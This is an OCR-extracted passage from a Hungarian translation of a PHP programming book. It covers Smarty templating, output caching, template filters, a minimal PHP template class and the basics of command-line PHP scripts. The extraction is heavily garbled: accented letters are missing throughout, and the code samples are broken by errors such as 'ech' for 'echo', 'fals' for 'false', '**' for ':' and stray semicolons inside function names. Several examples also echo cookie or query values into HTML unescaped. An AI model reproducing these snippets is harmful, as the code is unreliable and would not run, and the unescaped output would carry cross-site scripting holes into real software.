= new Smarty_ExampleOrg; $name = array_key_exists('name', $_COOKIE) ? $_COOKIE['name'] ** ' Stranger'; if($name == 'Stranger') { $login_link = "Click <a href=\"/login.phpX">here</a> to login."; } else { $login_link = ' ' ; } $smarty->assign('name', $name); $smarty->assign('login_link', $login_link); $smarty->display('hello.tpl');

Ezutn a sablonnal meg kell jelentetnnk a $login_link-et, ami lehet, hogy be sincs lltva: {* A Smarty sablonokban a megjegyzsek gy kezddnek, tbb sort is tfoghatnak. hello.tpl
*}

4. fejezet Megvalsts PHP nyelven: a sablonok s a Vilghl

115

<html> <body> Hello {$name}.<br> {$login_link;} </body> </html>

Ez a mdszer sajnos megsrti az alkalmazsi s megjelentsi kd sztvlasztsnak elvt. A msodik megolds, hogy a megjelentsi rtegre bzzuk a dntst, hogy megjelenti-e a bejelentkezsi hivatkozst, s ha igen, hogyan:
{* hello.tpl *} <html> <body> Hello {$name}.<br> { if $narne == "Stranger" } Click <a href="/login.php">here</a> to login. { /if } </body> </html> /* hello.php */ $smarty = new Smarty_ExainpleOrg; $name = array_k;ey_exists ( ' name ' , $_COOKIE) ? $_COOKIE ['name ' ] : ' Stranger'; $smarty->assign{'name', $name); $smarty->display('hello.tpl');

A tiszta PHP vltozat

Mindkt plda hosszabb, mint a tisztn csak PHP-t hasznl vltozat:


<html> ^ <body> <?php $name = array_k;ey_exists($_COOKIE['name'])? $_COOKIE['name']:'Stranger' ?> Hello <?php ech $name; ?>.<br><?php if($name == 'Stranger') { ?> Click <a href="/login.php">here</a> to login. <?php } ?> </body> </html>

116

PHP fejleszts felsfokon

Ez nem szokatlan. A nyers kdot tekintve a sablonra pl megoldsok mindig tbb kdot tartalmaznak, mint a sablont nem hasznlk. Az elvonatkoztats tbb helyet ignyel. A sablonrendszerek clja nem az, hogy a kdtr kisebb legyen, hanem az, hogy a klnbz clt szolgl kdokat sztvlasszuk.

A teljes felttelrendszert nyjt if-elseif-else utastsokon kvl a Smarty a f oreachen keresztl a tmbk ciklussal val feldolgozst is tmogatja. me egy egyszer sablon, amely kirja az ppen rvnyes krnyezeti vltozkat: {* getenv.tpl *} <html> <body> <table> {foreach from=$smarty.env key=key item=value } <trxtd>{$key}</tdxtd>{$value}</tdx/tr> {/foreach} </table> </body> </html>
/* getenv.php */ $smarty = new Smarty_ExampleOrg; $smarty->display('getenv.tpl');

A fenti pldban lthatjuk a varzserej" $ smarty vltozt is, ami egy trstsos tmb, melynek segtsgvel elrhetjk a PHP szupergloblisait" (pldul $_COOKIE, $_GET), illetve a Smarty belltsi vltozit. A szupergloblisok elrse a $ smarty. cookie, $smarty. get stb. formban trtnhet. A tmbelemekhez gy frhetnk hozz, hogy egy elvlaszt pont utn hozzfzzk az elem kisbets nevt; a $COOKIE [ ' nv' ] pldul a $smarty. cookie. nv formban rhet el. Ez azt jelenti, hogy a hells plda teljes kdjt elhelyezhetjk egy Smarty sablonban: {* hello.tpl *} <html> <body> {if $smarty.cookie.name } Hello {$smarty.cookie.name}.<br> Click <a href="/login.php>here</a> to login. {else}
Hello Stranger. {/if} </body> </html>

4. fejezet Megvalsts PHP nyelven: a sablonok s a Vilghl

117

/* hello.php */ $smarty = new Smarty_ExampleOrg; $smarty->display('hello.tpl');

Egyesek ez ellen azzal rvelhetnek, hogy magban a sablonban egyltaln nem ajnlott mkdsi logikt elhelyezni. Nem rtek egyet velk: ha a megjelentsbl teljesen kivonjuk a logikt, azt vagy azt jelenti, hogy a kimenet ellltshoz valjban nem tartozik logika (ami lehetsges, de igen valszntlen), vagy hogy sszekevertk azt az alkalmazslogikval. A megjelentsi kdnak az alkalmazsba helyezse pedig nem jobb, mint az alkalmazslogika beptse a megjelentsi kdba. A sablonrendszerek hasznlatnak ppen az a clja, hogy mindkt emltett helyzetet elkerljk. Mindazonltal a sablonokban logikt elhelyezni sok buktatt rejt. Minl tbb szolgltats rhet el a sablonokban, annl nagyobb a ksrts, hogy maga az oldal tartalmazzon nagy mennyisg kdot. Amg ez a megjelentsre korltozdik, tartjuk magunkat az MVC minthoz. Ne feledjk: az MVC nem arrl szl, hogy a nzetbl eltvoltunk minden logikt - a cl az, hogy a tartomnyra jellemz mkdsi kdot vegyk ki belle. A megjelentsi s mkdsi kd kztt azonban nem minden esetben knny klnbsget tenni. Szmos fejleszt szmra nem csupn az a cl, hogy elvlasszk a megjelentst az alkalmazstl, hanem az, hogy a megjelentsi kd is minl kisebb legyen. Gyakran adnak hangot azon ignyknek, hogy a tervezket tvol szeretnk tartani a PHP kdtl, mintha a tervezk kptelenek lennnek megtanulni a PHP-t, vagy nem lehetne megbzni bennk a PHP programozst illeten. A Smarty ezt a problmt nem oldja meg. Brmely sablonnyelv, amely lehetsget ad bonyolult logika megvalstsra, elg vastag ktl ahhoz, hogy felkssk magunkat, ha nem vigyzunk.

A Smarty fggvnyei s egyebek


Az alapvet vezrlsi szerkezetek mellett a Smarty lehetsget ad arra is, hogy beptett, illetve felhasznli fggvnyeket hvjunk meg. Ez nagyobb rugalmassgot ad abban, hogy mit tehetnk meg magn a sablonkdon bell, de az az ra, hogy a sablonok bonyolultt vlnak. Szmomra a leghasznosabb beptett fggvny az include. A PHP include () fggvnyvel azonos mdon azt teszi lehetv, hogy egy sablonba egy msikat ptsnk be. Ezt ltalban arra hasznljuk, hogy kzs fejlcet s lblcet adjunk a sablonokhoz, mint az albbi egyszer pldban: {* header.tpl *} <html> <head> <title>{$title}</title> {if $css} <link rel="stylesheet" type="text/css" href="{$css}" /> {/if}

118

PHP fejleszts felsfokon

</head> <body> {* footer.tpl *} <!-- Copyright &copy; 2003 George Schlossnagle. reserved. --> </body> </html>

Som rights

Ha ezutn egy sablonban fejlcre vagy lblcre van szksg, a kvetkezkppen ptjk be azokat: {* hello.tpl *} {include file="header.tpl"} Hello {$name}. {include file="footer.tpl"} A Smarty tmogatja a php fggvnyt is, melynek segtsgvel sablonon belli PHP-kdot rhatunk. Ezzel az albbihoz hasonlt hajthatunk vgre: {* hello.tpl *} {include file="header.tpl"} Hello {php}print $_GET['name'];{/php} {include file="footer.tpl"} A php kdcmke maga a megtesteslt gonosz: ha nyers PHP-t alkalmaz sablont akarunk rni, rjuk meg PHP-ben, ne a Smarty-ban. A nyelvek keverse egyetlen dokumentumon bell szinte soha nem j tlet. Feleslegesen bonyoltja az alkalmazst, s megnehezti, hogy megllaptsuk, hol tallhat egy adott szolgltats megvalstsa. A Smarty tmogatja az egyni fggvnyeket s vltozmdostkat is. Az egyni fggvnyek az sszetett feladatokat automatizl segdfggvnyek ksztsben lehetnek segtsgnkre. Ennek egy pldja a mailto fggvny, amely egy elektronikus levlcmet alakt HTML mail to : hivatkozss: {mailto address="george@omniti.com} Az eredmny a kvetkez lesz:
<a href="mailto:george@omniti.com">george@omniti.com</a>

Sajt PHP fggvnyeinket a Smarty register_function () tagfggvnyvel jegyeztethetjk be, ami az egyni segdkdok ltrehozst segti. Az emltett fggvnnyel bejegyzett fggvnyek bemenetknt a $params tmbt kapjk, ami a Smarty fggvnyhvsban

4. fejezet Megvalsts PHP nyelven: a sablonok s a Vilghl

119

tadott esetleges argumentumokat tartalmazza. Az albbi kd egy segdfggvnyt mutat, amely egy ktdimenzis tmbt HTML tblzatknt jelent meg. (A fggvny meghatrozst a kvetkez alkalmazskdban lthatjuk.) function create_table($params)
{

if(!is_arraY{$params['data'])) return; } $retval = "<table>"; f oreach ( $parains [ ' data ' ] as $row) { $retval .= "<tr>"; foreach{$row as $col) { $retval .= "<td>$col</td>"; } $retval .= "</tr>"; } $retval .= "</table>"; return $retval;

Megjegyzs

A create_table () klnbzik a Smarty beptett htinl_table fggvnytl, mert ktdimenzis tmbt vr.

A create_table () segtsgvel megjelenthet a sablonfjlok tblzata: {* list_templates.tpl *} {include file="header.tpl"} {create_table data=$file_arraY} {include file="footer.tpl"} /* list_templates.php */ $ smarty = new Smarty_ExainpleOrg; $smartY->register_function{'create_table', 'create_table'] $data = array(array('filename', ' b y t e s ' ) ) ; $files = scandir($smarty->template_dir); foreach($files as $file) { $stat = stat("$smarty->template_dir/$file"); $data[] = array($file, $stat['size']);
}

$smarty->assign('file_array', $data); $smarty->display{'list_templates.tpl'

120

PHP fejleszts felsfokon

A Smarty a vltozmdostkat is tmogatja, amelyek olyan fggvnyek, amelyek a vltozk megjelentst mdostjk. Az nl2br () PHP fggvny meghvsa a $text Smarty vltozra pldul az albbi sablonkddal trtnhet: {$textInl2br} A fggvnyekhez hasonlan az egyni mdostkat is bejegyezhetjk, mgpedig a register_modif ier () tagfggvnnyel. me a kd, amivel egy olyan mdostt jegyeztethetnk be, amely a vltozt a PHP urlencode () fggvnyn keresztl adja t: $smarty->register_modifier('encode' , 'urlencode');

Az elrhet fggvnyek s mdostk teljes listjt a Smarty kziknyvben, a http: //smarty .php .net/manual/en cmen tallhatjuk meg. Termszetesen a tbb sablonban is hasznlni kvnt egyni fggvnyeket clszer az osztlykonstruktorban bejegyezni.

tmeneti trols a Smarty-val


A lefordtott sablonok hasznlatnl is gyorsabb a sablonok kimenetnek tmeneti trolsa, gy a sablont egyltaln nem kell vgrehajtani. Az tmeneti trols (gyorstrazs, caching) ltalban vve is igen hatkony mdszer. A ktetben hrom fejezetet (a kilencediket, a tizediket s a tizenegyediket) kizrlag a klnbz trolsi megoldsoknak szentelnk. A Smarty-ban a tartalom tmeneti trolshoz elszr engedlyeznnk kell a trolst az objektumban, mgpedig a kvetkez sorral: $smarty->cache = true; Ezutn amikor csak meghvjuk a display () fggvnyt, az oldal teljes kimenete $smarty->cache_lif etime ideig (ez ltalban 3600 msodperc) troldik. A legtbb oldalon a begyazott PHP program ignyli a legtbb idt, hiszen az adatokbl el kell lltani a lapot. A folyamatot rvidre zrhatjuk, ha az is_cached () tagfggvnnyel ellenrizzk, hogy az oldalnak ltezik-e trolt msolata. A PHP programon bell ez a kvetkezkppen trtnik: $smarty = new Smarty_ExampleOrg; if(!is_cached('index.tpl')) { /* bellts */
}

$smarty->display('index.tpl');

4. fejezet Megvalsts PHP nyelven: a sablonok s a Vilghl

121

Ha az oldal brmilyen felhasznlhoz kthet informcit tartalmaz, ez a mdszer szmunkra nem megfelel, mert csak az els felhasznlra vonatkoz informcik troldnak, s minden tovbbi felhasznl ugyanazt kapja. Ha felttelekkel szeretnnk trolni az adatokat, a display () -nek egy msodik paramtert kell tadnunk. Ezt a trolsi rendszer kulcsknt hasznlja, hogy azonos kulccsal rendelkez krelem esetn visszaadhassa a trolt tartalmat. Ha a homepage. tpl sablont pldul 10 percig minden krelmez szmra egyedileg szeretnnk trolni, a felhasznlkat a nevk alapjn ellltott MD5 kivonat alapjn azonosthatjuk: $smarty = new Smarty_ExampleOrg; if(!is_cached('homepage.tpl', md5($_C00KIE['name'])) )
{

/* bellts */ $smarty->assign('name',
}

$_C00KIE['name']);

$smarty->display('homepage.tpl', md5($_COOKIE['name' ] )) ; Lthatjuk, hogy az is_cached () tovbbra is hasznlhat, csak t kell neki adni az azonostt is. Legynk vatosak: a Smarty nem rendelkezik beptett szemtgyjtssel, gy minden trolt oldal egy fjlt jelent a trol fjlrendszerben. Ez lehetsget teremt a vletlen vagy szndkos tlterhelsre (denial-of-service, vagyis tlterhelses tmadsra), amikor is trolt oldalak ezrei gylnek fel a rendszerben. Ehelyett azt javasoljuk, hogy viszonylag kevs rtket felvehet kulcs alapjn vlasszuk ki a troland tartalmat. A dinamikus tartalm fjlok tmeneti trolsnak mg jobb mdja, ha mindent trolunk, kivve a dinamikus tartalmat. Ilyen kdot szeretnnk hasznlni a sablonjainkban: {* homepage.tpl *} {* trolhat statikus tartalom *} {nocache} Hello {$name}! {/nocache} {* egyb statikus tartalom *} Ennek elrshez bejegyeztethetnk egy egyni blokk-kezelt a nocache blokk szmra a Smarty register_block () tagfggvnyn keresztl. A blokk-kezel fggvny hrom paramtert vr: a kdcmknek tadott brmely paramtereket, a blokkban tallhat tartalmat, illetve a Smarty objektumot.

122

PHP fejleszts felsfokon

A megvalstani kvnt fggvny egyszeren vltozatlan formban visszaadja a blokk tartalmt: function nocache_block($params, $content, Smarty $smarty)
{

return $content;
}

A trkk az, hogy a nocache_block fggvnyt nem trolhatknt jegyezzk be, a register_block () harmadik paramternek f alse-ra val lltsval: $smarty->register_block('nocache', 'nocache_block', fa l s ) ;

Ezutn a nocache blokk mg a trolt sablonokban is dinamikusan jn ltre. Vigyzzunk, ha az is_cached () fggvnnyel rvidre zrjuk az elksztst, meg kell gyzdnnk arrl, hogy ettl fggetlenl vgrehajtjk a nem trolhat blokk belltst!

A Smarty halad szolgltatsai


A Smarty gyorstalpal befejezseknt szt kell ejtennk mg nhny rdekes szolgltatsrl: Biztonsgi belltsok - A Smarty bellthat gy, hogy csak bizonyos fggvnyek s mdostk hasznlatt engedlyezze, s letiltsa a php blokkokat. Az utbbiakat clszer azonnal letiltani, s ktszer is meggondolni, mieltt engedlyeznnk ket. A biztonsg globlis engedlyezse gy trtnik, hogy a Smarty osztly $security tulajdonsgt true-ra lltjuk. Miutn ezt elvgeztk, az egyes biztonsgi belltsokat a $security_settings tulajdonsgon keresztl kapcsolhatjuk be vagy ki. A rszletekkel kapcsolatban lapozzuk fel a Smarty kziknyvt. A biztonsg engedlyezsnek legjobb mdja, ha a tulajdonsgot egyszeren az osztlykonstruktorban lltjuk be, mint albb, a Smarty_ExampleOrg esetben: class Smarty_Example_Org extends Smarty { function ____ constructf)
{

$this->Smarty(); $this->template_dir = '/data/www/www.example.org/templates'; $this->config_dir = /data/www/www. example . org/smarty_conf ig ' ; $this->compile_dir = * '/data/cachefiles/www.example.org/templates_c'; $this->cache_dir = -" ' /data/cachef iles/www. example . org/smarty_cache ' ; $this->security = true; } }

4. fejezet Megvalsts PHP nyelven: a sablonok s a Vilghl

123

Sablonelszrs - A sablonelszrk segtsgvel olyan fggvnyt jegyeztethetnk be, amely a sablonon annak feldolgozsa eltt fut le. A szoksos plda egy olyan elszr, ami eltvolt minden felesleges szkzt a sablonokbl. A bejegyzst a register_pref ilter () tagfggvnyen keresztl vgezhetjk el. Sablonutszrs - A sablonutszrk fordts utn, de lemezre rs eltt futnak le a sablonon. Az utszrk idelis felhasznlsi mdja, ha valamilyen trolt PHP kdot adunk minden lefordtott sablonhoz, pldul egy olyat, ami belltja a session_start () -ot hv HTTP fejlceket. Az utszrk a register_postf ilter () tagfggvnyen keresztl jegyeztethetk be. me egy egyszer utszr, ami gondoskodik a session_start () engedlyezsrl: function add_session_start($tpl_source, Smarty $smarty)
{

return "<?php session_start(); ?>\n".$tpl_source; }

$ smarty = new Smarty_ExarnpleOrg; $smarty->register_postfilter("add_session_start"); Kimeneti szrk - Ezek hasznlatra a Smarty ltal ellltott minden kimenet esetben sor kerl, mieltt elkldennk a bngsznek (vagy a Smarty gyorstrba rnnk). Ez a legjobb hely arra, hogy valamilyen vgs adatmdostst vgezznk, mieltt a tartalmat elkldennk. Pldul trhatunk minden kimen e-mail cmet george@omniti.com-ra (hogy megtvesszk a levlcm-keres robotokat), vagy a :-) jelhez hasonl emotikonokat" azonos cl kpekre mutat hivatkozsokra cserlhetjk. A kimeneti szrk bejegyzsre a register_outputf ilter () hasznlatos. Trkezelk - Bejegyeztethetnk egyni trkezelket is, amelyek segtsgvel megvltoztathatjuk azt, ahogy a Smarty a trolt fjlokat rja s olvassa. Ez akkor lehet hasznos, ha azt szeretnnk, hogy a Smarty egy adatbzisban trolja a tartalomfjlokat s lefordtott sablonokat, hogy minden kiszolgl biztosan azonos trolt tartalmat szolgltasson. A trkezelket a Smarty osztly $cache_handler_f unc tulajdonsgt belltva jegyeztethetjk be. Testreszabhat kdcmkk - Ha a {} hatroljelek nem tetszenek, brmilyen ms jelre lecserlhetjk azokat. n az XML-szer <smarty></smarty> jellst rszestem elnyben.

Sajt sablonrendszer ksztse


Ha tervez- s fejlesztcsapatunk nyelvi szint knyszer nlkl kpes fegyelmezetten sztvlasztani a megjelentsi s alkalmazsi kdot, sablonrendszerknt sima PHP-t is nyugodtan hasznlhatunk. A PHP ugyanis eredetileg sablonnyelv volt, azzal a cllal, hogy klnbz C nyelv fggvnyeket ragasszon ssze HTML oldalak ksztshez. Br a PHP azta egyszer ragasztnyelvbl sokoldal, ltalnos cl parancsnyelvv (szkriptnyelw) vlt, h maradt gykereihez, s ma is kivlan alkalmas sablonrsra.

124

PHP fejleszts felsfokon

Az alapelv az, hogy olyan sablonokat rjunk, amelyek hasonlak a lefordtott Smarty sablonokhoz, me egy egyszer osztly, amely a sablonok feldolgozst kezeli: class Template { public $template_dir; function display( $ f i l e ) { $template = $this; // elnyomjuk a nem ltez vltozkra figyelmeztet zeneteket error_reporting(E_ALL ~ E_NOTICE); include("$this->template_dir.$file");
} }

A fenti sablonosztlyt gy hasznljuk, hogy ltrehozunk egy j Template objektumot, feltltjk a kvnt adatokkal, s meghvjuk a display () -t. Maga a Template objektum $template formban rhet el. Az osztly hells" sablonja gy fest: <html>
<titlex?php ech $template->title; ?></title> <body> Hello <?php ech $template->name; ?>! </body> </html>

A sablont meghv PHP kd alakja a kvetkez: $template = new Template; $template->template_dir = '/data/www/www.example.org/templates/'; $template->title = 'Hello World'; $template->name = array_key_exists('name', $_GET)?$_GET['name']:'Stranger'; $template->display('default.tmpl'); A Smarty-hoz hasonlan az alaprtelmezett adatokat a PHP-ben is az osztlykonstruktorba zrhatjuk: class Template_ExampleOrg extends Template
{

public function _____ construct()


{

$this->template_dir = '/data/www/www.example.org/templates/ ' ; $this->title = 'www.example.org'; } }

4. fejezet * Megvalsts PHP nyelven: a sablonok s a Vilghl

125

Mivel a sablonokat az include () PHP fggvnnyel hajtjuk vgre, tetszleges PHP kdot tartalmazhatnak, gy akr a teljes megjelentsi logika megvalsthat PHP nyelven. Ha pldul egy olyan fejlcllomnyt szeretnnk kszteni, ami CSS stluslapokat tlt be egy tmbbl, az albbi kdot rhatjuk: <!-- header.tpl --> <html> <headxtitlex?php ech $template->title ?x/title> <?php foreach ($template->css as $link) { ?> <link rel="stylesheet" type="text/css" href="<?php ech $link ?>"" />
<?php } ?>

</head> Ez a PHP-nek teljesen rendben lev hasznlata egy sablonban, mert vilgos, hogy tisztn megjelentsi, nem pedig alkalmazskdrl van sz. Logikt helyezni a sablonokba nem eltlend dolog, st, brmilyen sszetettebb vlaszts, amit a megjelents szmra biztostunk, logikt ignyel. A lnyeg az, hogy a sablonokban a megjelentsi kd kapjon helyet, mg a mkdsi kdot helyezzk a sablonokon kvl. Amikor mindkett megvalstsra ugyanazt a nyelvet hasznljuk, klnsen gyelnnk kell a sztvlaszts fenntartsra. Ha ezt nem tudjuk szigoran betartatni, komoly gondok vannak a fejlesztsi krnyezetben. Brmilyen nyelvet lehet rosszul hasznlni, de jobb, ha a fejlesztk nknt igazodnak a szablyokhoz, mintha knyszerteni kell ket erre.

Tovbbi olvasmnyok
A fejezetben alig kapargattuk meg a felsznt a Smarty kpessgeivel kapcsolatban, de kitn dokumentcit tallunk a Smarty webhelyn, a http: / / smarty. php . net cmen. A PHP-hoz szmos sablonrendszer hasznlhat. Mg ha elgedettek is vagyunk a Smartyval, nem rt, ha megismerkednk ms rendszerek kpessgeivel is. A npszerbbek kz tartoznak pldul a kvetkezk: HTML_TemplateJT, HTML TemplateJTX s HTML TemplateFlexy - mind elrhet a PEAR cmn (http: / /pear. php. net). TemplateTamer - http: / /www. templatetamer. com SmartTemplate - http: //www. smartphp.net Ha nem ismerjk a CSS (Cascading Style Sheets, tbbszint stluslapok) hasznlatt, rdemes megtanulnunk. A CSS rendkvl erteljes eszkzt nyjt a HTML oldalak formzsra a mai bngszkben; segtsgvel megszabadulhatunk minden FONT vagy TABLE kdcmktl. A CSS lers foldala a http: / /www. w3 . org/Style/CSS cmen tallhat. Danny Goodman knyve, a Dynamic HTML: The Definive Reference, kitn gyakorlati tmutat a HTML, a CSS, a JavaScript, s a Document Object Model (DOM) hasznlathoz.

Megvalsts PHP nyelven: nll programok


Ez a fejezet azt rja le, hogyan hasznosthatunk meglev kdknyvtrakat, hogy felgyeleti feladatokat hajtsunk vgre PHP kddal, illetve hogyan rhatunk nll vagy parancssori programokat. Emellett bemutatunk nhny paradigmkat thg projektet, amelyek lehetv tettk a PHP hasznlatt a webes krnyezeten kvl is. Annak, hogy rszt vehettem a PHP fejlesztsben, szmomra az volt az egyik legizgalmasabb vonsa, hogy lthattam, amint a nyelv (a PHP 3 idejn s azeltt) egyszer webes parancsfjlkszt nyelvbl sokoldal, erteljes nyelvv vlik, ami mellesleg kitn teljestmnyt nyjt a webprogramozsban. Annak, hogy egy nyelv kimondottan egy adott terletre szakosodik, a kvetkez elnyei vannak: Knny tkletes eszkzz vlni egy adott feladatra, ha a nyelvet kimondottan ezrt hoztk ltre. Knnyebb egy terleten kimagaslnak lenni, mint versenyezni ms, rettebb, ltalnos cl nyelvekkel. Msrszrl viszont vannak htrnya is a szakosodsnak: A cgek ritkn sszpontostanak egyetlen rszterletre a tbbi krra. Mg a webkzpont szervezeteknek is vannak httrrendszerei s rendszerprogramozsi ignyei. A klnbz ignyek szakosodott nyelvekkel val kielgtse a fejlesztktl tbb nyelv magas szint ismerett kveteli meg. A mskpp kzsen is hasznlhat kdot minden hasznlt nyelven meg kell rni.

128

PHP fejleszts felsfokon

Webszakrtknt az emltett htultket komoly gondnak tartom. A tbb helyen szerepl azonos kd azt jelenti, hogy hiba esetn tbb helyen kell javtst vgezni (s ami mg rosszabb, tbb nyelven), ami egyenl a nagyobb ltalnos hibaszzalkkal, s nveli annak az eslyt, hogy a kdalap ritkbban hasznlt rszeiben a hibk sokig fennmaradnak. A tbb nyelven trtn aktv fejleszts azt jelenti, hogy a fejlesztk nem vlhatnak egyetlen nyelv szakrtiv, ehelyett tbb nyelvet is ismernik kell, gy nehezebb igazn j programozkat tallni, akiknek a tudsa nem aprzdik el tbb nyelv kztt. Egyes cgek gy kezelik ezt a problmt, hogy kln programozi csoportok dolgoznak a klnbz terleteken. Ez hatkony lehet, de nem oldja meg a kd-jrahasznosts problmjt, radsul drga s nehzkes.

Legynk gyakorlatiasak!

Dvid Thomas s Andrew Hunt kitn knyve, a The Pragmatic Programmer: From Journeyman to Master azt ajnlja, hogy a profi programozk legalbb egy j nyelvet tanuljanak meg vente. Teljes szvembl egyetrtek ezzel a tanccsal, de gyakran azt ltom, hogy flrertik. Szmos cg kdtra skizofrn": klnbz nyelveken rt alkalmazsokat tartalmaz, csak azrt, mert a fejleszt, aki rta ket, ppen az X nyelvet tanulta, s gy gondolta, ez j gyakorlsi lehetsg szmra. Klnsen igaz ez akkor, ha a cg vezet fejlesztje kifejezetten gyes s lelkes, s knnyedn bnik tbb nyelvvel. Ez azonban a gyakorlatban nem szerencss. A gond az, hogy hiba vagyunk kpesek egyszerre Python, Perl, PHP, Ruby, Java, C++ s C# nyelven programozni, munkatrsaink nagy rsze nem tud kvetni minket, radsul tonnnyi ismtld kd keletkezik. Szinte biztos pldul, hogy ugyanazt az alapvet adatbzis-elrsi knyvtrat minden nyelven meg kell rnunk. Ha szerencssek s elreltak vagyunk, legalbb a knyvtrak fellete (API) ugyanaz lesz, de ha nem, tbb-kevsb klnbz knyvtrakat kapunk, a fejlesztk pedig szenvedhetnek a rengeteg hibtl, ami abbl addik, hogy Python API-hoz kell programozniuk PHP nyelven. j nyelveket tanulni hasznos dolog; n magam is prblom kvetni Thomas s Hunt tancst. Nyelveket tanulni fontos, mert tgtja ltkrnket, edzsben tart s j tleteket ad. Az tleteket s mdszereket rdemes tmenteni tanulmnyainkbl, de vakodjunk attl, hogy munknkat mindig jabb nyelvekre ptsk.

Tapasztalataim szerint az idelis nyelv kellen specializlt ahhoz, hogy az adott munka lnyeghez igazodjon, de elg ltalnos a mellkes feladatok megoldsra is. A PHP a webprogramozs sorn felmerl ignyek legtbbjt kpes kielgteni. Fejlesztsi modellje h maradt a gykerekhez, a begyazott webes programokhoz. Hasznlatnak egyszersge

5. fejezet Megvalsts PHP nyelven: nll programok

129

s praktikussga a webes feladatokhoz ma is pratlan (amit a nyelv gyorsul terjedse is bizonyt). A PHP azonban emellett kpess vlt ltalnosabb feladatok megoldsra is. A PHP 4 s 5 mr szmos nem webes ignyt is kielgt. Vajon a PHP a legjobb nyelv a httrben fut begyazott programok szmra? Ha nagy API-val rendelkeznk, amelyet szmos zleti alkalmazsban hasznlunk, az a kpessg, hogy a webes krnyezet kdjait sszeolvaszthatjuk s jrahasznosthatjuk, hihetetlenl rtkes. Ez az rtk mg azt a tnyt is elhomlyostja, hogy a Perl s a Python rettebb parancsnyelvek.

A PHP parancssori fellete: bevezets


Ha a PHP krnyezetet az --enable-cli kapcsolval ptettk fel, a binrisok knyvtrba (alaprtelmezs szerint ez az /usr/local/bin) egy php nev binris llomny kerl. Hogy ne kelljen a php minden futtatsakor megadnunk a teljes elrsi utat, ezt a knyvtrat fel kell tntetnnk a PATH krnyezeti vltozban. A phpscript .php program vgrehajtsa egy Unix rendszer parancssorbl pldul az albbi utasts begpelsvel trtnhet: > php phpscript.php Azt is megtehetjk, hogy a program els soraknt beszrjuk a kvetkezt: #!/usr/bin/env php Ezutn a chmod paranccsal vgrehajthatv tesszk a programllomnyt: > chmod u+rx phpscript.php A phpscript .php-t most mr gy futtathatjuk: > ./phpscript.php

A #! jellst angolul she-bang"-nek hvjk; ez a hjprogramok s parancsllomnyok vgrehajthatv ttelnek szabvnyos mdja Unix rendszereken. Windows rendszeren a telept mdostja a rendszerler adatbzist, hogy a . php parancsfjlokat a vgrehajthat php llomnyhoz trstsa, gy feldolgozsukhoz s futtatsukhoz elg rjuk kattintanunk. Mindazonltal a PHP-t Unix rendszereken szlesebb krben hasznljk (fknt biztonsgi, kltsg- s teljestmnybeli okokbl kifolylag), ezrt a knyvben kizrlag unixos pldkat hozunk fel. A bemenet kezelstl eltekintve a parancssori PHP programok ugyangy viselkednek, mint webes testvreik.

130

PHP fejleszts felsfokon

A bemenet s kimenet kezelse


A Unix tervezsi megkzeltsnek kzponti elve, hogy kicsi, nll programokat lltunk lncba, hogy sszetettebb feladatokat vgezznk el. A lncolst hagyomnyosan gy rjk el, hogy az egyik program olvas a bemenetrl, kimenett pedig visszakldi a terminlra. A Unix krnyezet hrom klnleges fjllert biztost, amelyeket adatok kldsre s fogadsra hasznlhatunk egy alkalmazs s a kezdemnyez felhasznl terminlja (tty) kztt: stdin - A szabvnyos bemenet (standard in" vagy standard input") minden adatot elfog, amit a terminlon keresztl bevisznek. stdout - A szabvnyos kimenet (standard out" vagy standard output") kzvetlenl a kpernyre kerl (ha a kimenetet tirnytjuk egy msik programhoz, az annak a szabvnyos bemenetn stdin jelenik meg). A print vagy az ech parancs kiadsakor egy PHP CGI vagy CLI (Command-Line Interface, vagyis parancssoros) programban az adatok a stdout-ra kerlnek. stderr - A szabvnyos hibazenet (standard error") is a felhasznl terminljra kerl, de nem a stdin fjllern keresztl. Ha egy program stderr-t llt el, az nem rdik egy msik program stdin fjllerjba, hacsak nem alkalmazunk kimenettirnytst. A PHP CLI-ben a fenti fjllerkat a kvetkez llandk segtsgvel rhetjk el: STDIN STDOUT STDERR Ezen llandk hasznlata egyenrtk azzal, mintha az adatfolyamokat sajt kezleg nyitnnk meg. (Ha a PHP CGI-vltozatt futtatjuk, ezt is kell tennnk.) Az adatfolyamok megnyitsnak mdja a kvetkez:
$stdin = fopen("php://stdin", "r"); $stdout = fopen("php://stdout", "w"); $stderr = fopen("php://stderr", "w");

Mirt hasznljuk a STDOUT-ot?

Br rtelmetlennek tnhet a STDOUT fjllerknt val hasznlata, amikor a print vagy az ech paranccsal kzvetlen kirst is vgezhetnk, valjban igen knyelmes. A STDOUT lehetv teszi, hogy kimeneti fggvnyeket rjunk, amelyek egyszeren adatfolyam erforrsokat kapnak, hogy knnyen vlthassunk akztt, hogy a kimenetet a felhasznl terminljra, HTTP folyamon keresztl egy tvoli kiszolglra, vagy egy msik kimeneti adatfolyamon t brhov mshov kldjk.

5. fejezet Megvalsts PHP nyelven: nll programok

131

A STDOUT htrnya, hogy nem hasznlhatjuk ki a PHP kimeneti szrinek, illetve a kimenet tmeneti trolsnak elnyeit, de sajt folyamszrket bejegyeztethetnk a streams_f ilter_register () fggvnnyel.

me egy rvid program, amely beolvas egy fjlt a stdin-rl, sorszmmal ltja el a sorokat, az eredmnyt pedig a stdout-ra kldi:
#! /usr/bin/env php <?php

$lineno = 1; wh i l e ( ( $ l i n e = fgets(STDIN)) != fals) { fputs(STDOUT, "$lineno $ l i n e " ) ; $lineno++;


} ?>

Ha a programot sajt magn futtatjuk le, az albbi kimenetet kapjuk:


1 2 3 4 5 6 #!/usr/bin/env php <?php $lineno = 1; while(($line = fgets(STDIN)) != fals) { fputs(STDOUT, "$lineno $line");

7
8 }

$lineno++;

9 ?>

A stderr hasznlata knyelmes mdja a hibazenetek s nyomkvetsi informcik kldsnek, mert a fogad program a stdin-rl olvas, gy nem olvassa be ezeket. Albb egy olyan programot lthatunk, amely egy kombinlt formtum Apache naplt olvas be, s jelentst ad a fjlban tallt egyedi IP cmek s bngsztpusok szmrl:
<?php $counts = array('ip' => array(), 'user_agent' => array()); while(($line = fgets(STDIN)) != fals) { # Ez a szablyos kifejezs mezrl mezre illeszti a napl sorait. $regex = '/A(\S+) (\S+) (\S+) \[([A:]+):(\d+:\d+:\d+) ([A\]]+)\] ' '(\S+) (.*?) (\s+)" (\s+) (\s+) ([-']*)" "([""]*)"$/'; preg_match($regex,$line,$matches); list(, $ip, $ident_name, $remote_user, $date, $time, $gmt_off, $method, $url, $protocol, $code, $bytes, $referrer, $user_agent) = $matches; $counts['ip']["$ip"]++;

132

PHP fejleszts felsfokon

